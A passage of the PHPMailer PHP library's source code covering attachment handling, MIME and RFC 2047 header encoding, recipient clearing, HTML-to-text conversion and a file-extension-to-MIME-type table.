                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
